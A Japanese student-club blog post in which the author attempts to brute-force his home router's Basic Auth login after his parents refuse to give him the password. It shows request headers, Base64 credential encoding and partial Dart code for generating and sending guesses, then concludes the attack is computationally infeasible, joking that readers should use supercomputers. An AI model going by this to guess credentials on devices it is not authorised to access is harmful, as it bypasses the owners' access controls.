ソフトウェア技術研究会
親にルータブロックされたのでブルートフォースする<!-- --> | 東北工業大学ソフトウェア技術研究会

親にルータブロックされたのでブルートフォースする

📅2024-12-08

親にルータブロックされたのでブルートフォースする

こんにちは、K.Y.(HN Rerurate_514)です。 本日はアドベントカレンダー三作目です。 本当は綺麗なコードを書くための手法みたいな記事を書きたかったのですが、ちょっとこれも面白そうだったので書くことにします。

まずブルートフォースするにあたった経緯なんですが、まず私はサーバーを建てたいと思っていました。80番とか、主に25565番ですがw。ただポート開放が上手くできなくて調べると、ルータの設定が障害になっていることを突き詰めました。

それで私の両親にルータのパスワードを教えてもらおうとしたのですが、私の父がエンジニアで下手に知識があるのでポート解放させてくれませんでした。 まあなんのセキュリティソフトもファイアウォールもあんまりいじってないので、危険って言われたら危険なんですけど。 特に25565番なんて有名でPC初心者が開けっ放しにしてそうですから、攻撃対象になりやすい(かも)しれないですからね。

まあそんなところでパスワードを教えてくれなかったのでじゃあ総当たりしようと試みました。

検証

このURLからルータの設定ができますね。 本当はあまり公開しないほうがいいですが、今回はしょうがないです。 http://192.168.0.1/ この画面を総当たりします。

Router_Unlocker作成ログ-ポップアップ.png
Router_Unlocker作成ログ-ポップアップ.png

とりあえず適当にユーザー名とパスワードを入れてリクエストを送ってみました。 ※AI君に頼んで危なそうな部分を塗っておきました。 要求ヘッダ

GET / HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 
Accept-Encoding: gzip, deflate 
Accept-Language: ja,en;q=0.9,en-GB;q=0.8,en-US;q=0.7 
Authorization: Basic ********
Cache-Control: max-age=0 
Connection: keep-alive 
Host: ***.***.***.***
Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (********) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/***.***.0.0 Safari/537.36 Edg/***.***.0.0

要求ヘッダ2

GET / HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 
Accept-Encoding: gzip, deflate 
Accept-Language: ja,en;q=0.9,en-GB;q=0.8,en-US;q=0.7 
Authorization: Basic ********
Cache-Control: max-age=0 
Connection: keep-alive 
Host: ***.***.***.***
Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (********) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/***.***.0.0 Safari/537.36 Edg/***.***.0.0

応答ヘッダ

HTTP/1.1 401 Unauthorized 
WWW-Authenticate: Basic realm="********" 
Pragma: no-cache 
Cache-Control: no-cache, no-store, must-revalidate 
Expires: Thu, 01 Jan 1970 00:00:00 GMT 
Content-type: text/html 
Transfer-Encoding: chunked 
Date: Wed, 17 Jul 2024 11:56:02 GMT 
Server: lighttpd/***.***.***

General

要求 URL:http://***.***.***.***/
要求方法 GET
状態コード: 401 Unauthorized
リモート アドレス:***.***.***.***:80
参照元のポリシー:strict-origin-when-cross-origin

GETでリクエストを送って401エラーが返ってきました。 これはログインエラーに表示されるものです。 適当にIDとパスを入れたので当然ですね。

ここでヘッダのAuthenticationフィールドにBasicと書かれています。 これはユーザー名とパスワードがBase64で変換されることを示します。 ここで試しに

ユーザー名:Rerurate
パスワード:software

と入れてみます。

するとAuthenticationフィールドに

Authentication: Basic UmVydXJhdGU6c29mdHdhcmU=

というような値が返ってきました。 これをBase64でデコードすると、

Rerurate:software

といった値であることがわかりました。

つまり、ユーザー名:パスワードといったフォーマットでリクエストを送ればいいということです。

ちょっと今回は自分の専門がモバイルなのでFlutterで簡単にUIとそのコードを書いていこうと思います。

実際にコーディング

今回はUIあたりのコードは省略します。 ただこんな感じの簡素なものです。

Router_Unlocker作成ログ-ポップアップ.png
Router_Unlocker作成ログ-ポップアップ.png
timeにはかかった時間、 namepasswordには現在リクエスト中の組み合わせを表示しています。 もしステータスコード500が返ってきて、ログインに成功したらuntil - ****ノ部分に表示するようにしています。

そこでいったんBase64変換プログラムを用意しました。

import 'dart:convert';

class Base64Controller{
  late final String _encodedText;
  String get encodedText => _encodedText;

  void encodeText(String name, String password){
    String text = "$name:$password";
    _encodedText = base64Encode(
      utf8.encode(text)
    );
  }
}

これも見たまんまなので説明はないです。 (書いてる今、思ったのですが、これなんでインスタンス変数にエンコードした値入れてるんですかね?普通にreturnで返せばいいのに())

そしてヘッダを作ってくれるプログラムも作りました。

import 'package:http/http.dart' as http;

class HttpController{
  Future<http.Response> getHttp(Uri reqHeader) async {
    var response = await http.get(reqHeader);

    return response;
  }
}

class HeadrCreater{
  final String URL = "http://192.168.0.1/";

  Uri getHeader(Base64Controller base64){
    var req = Uri.http(
      URL, 
      "", 
      { 
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 
        'Accept-Encoding': 'gzip, deflate', 
        'Accept-Language': 'ja,en;q=0.9,en-GB;q=0.8,en-US;q=0.7', 
        'Authorization': 'Basic ${base64.encodedText}', 
        'Cache-Control': 'max-age=0', 
        'Connection': 'keep-alive', 
        'Host': '192.168.0.1', 
        'Upgrade-Insecure-Requests': '1', 
        'User-Agent': 'Mozilla/5.0 (******) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/****** Safari/537.36 Edg/******' 
      }
    );

    return req;
  }
}

リクエストの作成にはHttpパッケージを使用しています。

ここでパスワードとユーザー名の生成なのですが、正直正規表現で表すと^[a-zA-Z0-9]{1,13}$まであると思ってます。これで記号ありだったら吹きます。 一旦、^[a-zA-Z0-9]{1,13}$で仮定してこれらをすべて生成するプログラムも書きました。

Future<List<String>> generateCombinations(int length) async {
  const characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  List<String> combinations = [];

  void recurse(String prefix) {
    if (prefix.length == length) {
      combinations.add(prefix);
      return;
    }

    for (int i = 0; i < characters.length; i++) {
      recurse(prefix + characters[i]);
    }
  }

  recurse('');
  
  print('Generated ${combinations.length} combinations\n$combinations');

  return combinations;
}

まさか再帰を使うことになるなんて思いもしませんでした。 ただこのコードちょっと問題があって、^[a-zA-Z0-9]{1,13}$の組み合わせは62^1 + 62^2 + 62^3 + ... + 63^13203,307,695,650,123,380,000,000x2通りあります。(パスワードとユーザー名でx2) 大体4000垓リクエストを送ることになりますが、これはほぼ無理です。 僕のPCはi7の14世代ですから大体、

import 'dart:io';

void main() {
  int logicalCores = Platform.numberOfProcessors;
  int recommendedThreads = logicalCores - 1;
  
  print('論理コア数: $logicalCores');//28
  print('推奨スレッド数: $recommendedThreads');//27
}

で確認すると、大体28スレッド動かせることになります。 その時、4000垓リクエスト ÷ 28 = 約143垓リクエスト、1秒間に2リクエストぐらい送れるとしても約70垓秒かかることになります。

つまり無理なんです。 以下にブルートフォースが大変かこれで私もわかりました。 試しに2桁でリクエストを送ってやってみたのですが、これもすごい時間がかかったので途中で諦めてしまいました。 最終的に私のポート開放計画はここで失敗に終わってしまいました。

最後に

皆さん、ブルートフォース攻撃をする際にはスパコンとか用意して、GoとかRustとか使ってスレッド処理しましょう。 それかおとなしく親に土下座でもしましょう。私はしません。

<- To Be Continued...

© 2025 ソフトウェア技術研究会